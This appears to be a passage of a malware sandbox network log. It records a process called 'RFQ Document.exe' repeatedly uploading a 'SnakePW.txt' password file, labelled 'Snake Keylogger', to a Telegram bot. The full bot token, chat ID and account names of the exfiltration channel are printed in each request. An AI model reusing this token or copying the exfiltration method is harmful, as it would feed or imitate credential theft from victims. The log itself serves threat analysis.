2021-09-28 05:59:40 UTC	409	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 31 36 31 35 37 38 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f1615788Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:40 UTC	409	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:40 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:40 UTC	410	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12845,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808780,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.4	50093	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:40 UTC	410	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f180548b Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:40 UTC	411	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 31 38 30 35 34 38 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f180548bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:40 UTC	411	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:40 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:40 UTC	411	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12846,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808780,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.4	50094	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:40 UTC	412	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f195cb65 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:40 UTC	412	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 31 39 35 63 62 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f195cb65Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:41 UTC	413	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:41 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:41 UTC	413	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12847,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808780,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49800	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:25 UTC	41	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c500bbdf Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:25 UTC	41	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 35 30 30 62 62 64 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c500bbdfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:26 UTC	42	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:26 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:26 UTC	42	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12606,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808706,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.4	50097	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:41 UTC	413	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f1c577ff Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:41 UTC	414	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 31 63 35 37 37 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f1c577ffContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:41 UTC	414	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:41 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:41 UTC	415	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12848,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808781,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.4	50098	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:41 UTC	415	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f1e21602 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:41 UTC	415	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 31 65 32 31 36 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f1e21602Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:41 UTC	416	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:41 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:41 UTC	416	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12849,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808781,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.4	50099	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:41 UTC	417	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f20113e6 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:41 UTC	417	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 32 30 31 31 33 65 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f20113e6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:41 UTC	417	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:41 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:41 UTC	418	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12850,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808781,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.4	50100	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:41 UTC	418	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f218e9b8 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:41 UTC	419	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 32 31 38 65 39 62 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f218e9b8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
